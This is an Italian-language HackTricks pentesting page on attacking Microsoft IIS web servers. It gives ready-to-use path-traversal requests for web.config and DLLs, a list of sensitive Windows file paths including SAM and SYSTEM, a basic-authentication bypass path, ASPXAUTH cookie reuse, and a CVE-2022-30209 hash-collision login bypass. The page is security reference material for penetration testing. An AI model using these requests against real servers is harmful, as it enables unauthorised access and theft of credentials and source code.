IIS - Internet Information Services

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i sequestri di account e gli attacchi ransomware derivanti da malware che ruba informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:


Test estensioni file eseguibili:

  • asp

  • aspx

  • config

  • php

Rivelazione dell'indirizzo IP interno

Su qualsiasi server IIS in cui si riceve un 302, è possibile provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indirizzarti all'indirizzo IP interno:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Risposta che rivela l'IP interno:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Esecuzione dei file .config

È possibile caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: Scarica l'esempio qui

Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità qui

Bruteforce di Discovery di IIS

Scarica l'elenco che ho creato:

È stato creato unendo i contenuti delle seguenti liste:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno l'hanno già.

Traversal del percorso

Divulgazione del codice sorgente

Controlla il resoconto completo in: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

In sintesi, ci sono diversi file web.config all'interno delle cartelle dell'applicazione con riferimenti ai file "assemblyIdentity" e alle "namespaces". Con queste informazioni è possibile sapere dove si trovano gli eseguibili e scaricarli. Dai Dll scaricati è anche possibile trovare nuovi namespaces a cui si dovrebbe cercare di accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity. Inoltre, i file connectionstrings.config e global.asax potrebbero contenere informazioni interessanti.\

Nelle applicazioni .Net MVC, il file web.config svolge un ruolo cruciale specificando ciascun file binario su cui l'applicazione si basa attraverso tag XML "assemblyIdentity".

Esplorazione dei file binari

Di seguito è mostrato un esempio di accesso al file web.config:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Questo richiesta rivela varie impostazioni e dipendenze, come:

  • Versione di EntityFramework

  • AppSettings per pagine web, convalida client e JavaScript

  • Configurazioni di System.web per autenticazione ed esecuzione

  • Impostazioni dei moduli di System.webServer

  • Associazioni di assembly di Runtime per numerose librerie come Microsoft.Owin, Newtonsoft.Json e System.Web.Mvc

Queste impostazioni indicano che determinati file, come /bin/WebGrease.dll, si trovano all'interno della cartella dell'applicazione /bin.

File della Directory Radice

I file trovati nella directory radice, come /global.asax e /connectionstrings.config (che contiene password sensibili), sono essenziali per la configurazione e il funzionamento dell'applicazione.

Spazi dei Nomi e Web.Config

Le applicazioni MVC definiscono anche ulteriori file web.config per spazi dei nomi specifici al fine di evitare dichiarazioni ripetitive in ciascun file, come dimostrato da una richiesta di scaricare un altro web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Scaricando DLLs

Il riferimento a uno spazio dei nomi personalizzato fa pensare a una DLL chiamata "WebApplication1" presente nella directory /bin. Successivamente viene mostrata una richiesta per scaricare il file WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Questo suggerisce la presenza di altre DLL essenziali, come System.Web.Mvc.dll e System.Web.Optimization.dll, nella directory /bin.

In uno scenario in cui una DLL importa uno spazio dei nomi chiamato WebApplication1.Areas.Minded, un attaccante potrebbe dedurre l'esistenza di altri file web.config in percorsi prevedibili, come /nome-area/Views/, contenenti configurazioni specifiche e riferimenti ad altre DLL nella cartella /bin. Ad esempio, una richiesta a /Minded/Views/web.config può rivelare configurazioni e spazi dei nomi che indicano la presenza di un'altra DLL, WebApplication1.AdditionalFeatures.dll.

File comuni

Da qui

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Errore 404 HTTPAPI 2.0

Se visualizzi un errore come il seguente:

Significa che il server non ha ricevuto il nome di dominio corretto nell'intestazione Host. Per accedere alla pagina web, potresti dare un'occhiata al Certificato SSL servito e forse troverai il nome del dominio/sottodominio lì. Se non è presente, potresti aver bisogno di forzare VHosts fino a trovare quello corretto.

Vecchie vulnerabilità di IIS da tenere d'occhio

Vulnerabilità/Caratteristica del carattere tilde “~” di Microsoft IIS - Divulgazione del Nome Breve del File/Cartella

Puoi provare a enumerare cartelle e file all'interno di ogni cartella scoperta (anche se richiede Autenticazione di Base) utilizzando questa tecnica. Il principale limite di questa tecnica se il server è vulnerabile è che può trovare solo fino alle prime 6 lettere del nome di ciascun file/cartella e alle prime 3 lettere dell'estensione dei file.

Puoi utilizzare https://github.com/irsdl/IIS-ShortName-Scanner per testare questa vulnerabilità:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Ricerca originale: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Puoi anche utilizzare metasploit: use scanner/http/iis_shortname_scanner

Bypass dell'Autenticazione di Base

Bypassa un'autenticazione di base (IIS 7.5) cercando di accedere a: /admin:$i30:$INDEX_ALLOCATION/admin.php o /admin::$INDEX_ALLOCATION/admin.php

Puoi provare a mixare questa vulnerabilità e l'ultima per trovare nuove cartelle e bypassare l'autenticazione.

Debugging abilitato Trace.AXD di ASP.NET

ASP.NET include una modalità di debug e il suo file si chiama trace.axd.

Mantiene un registro molto dettagliato di tutte le richieste effettuate a un'applicazione nel corso del tempo.

Queste informazioni includono gli IP dei client remoti, gli ID di sessione, tutti i cookie di richiesta e risposta, i percorsi fisici, le informazioni sul codice sorgente e potenzialmente anche nomi utente e password.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

ASPXAUTH utilizza le seguenti informazioni:

  • validationKey (stringa): chiave esadecimale per la convalida della firma.

  • decryptionMethod (stringa): (predefinito “AES”).

  • decryptionIV (stringa): vettore di inizializzazione esadecimale codificato in esadecimale (predefinito un vettore di zeri).

  • decryptionKey (stringa): chiave esadecimale da utilizzare per la decodifica.

Tuttavia, alcune persone utilizzeranno i valori predefiniti di questi parametri e utilizzeranno come cookie l'email dell'utente. Pertanto, se riesci a trovare un sito web che utilizza la stessa piattaforma che utilizza il cookie ASPXAUTH e crei un utente con l'email dell'utente che vuoi impersonare sul server sotto attacco, potresti essere in grado di utilizzare il cookie dal secondo server nel primo e impersonare l'utente. Questo attacco ha funzionato in questo articolo.

Bypass dell'Autenticazione IIS con password memorizzate (CVE-2022-30209)

Rapporto completo qui: Un bug nel codice non controllava correttamente la password fornita dall'utente, quindi un attaccante il cui hash della password colpisce una chiave che è già nella cache sarà in grado di accedere come quell'utente.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i sequestri di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated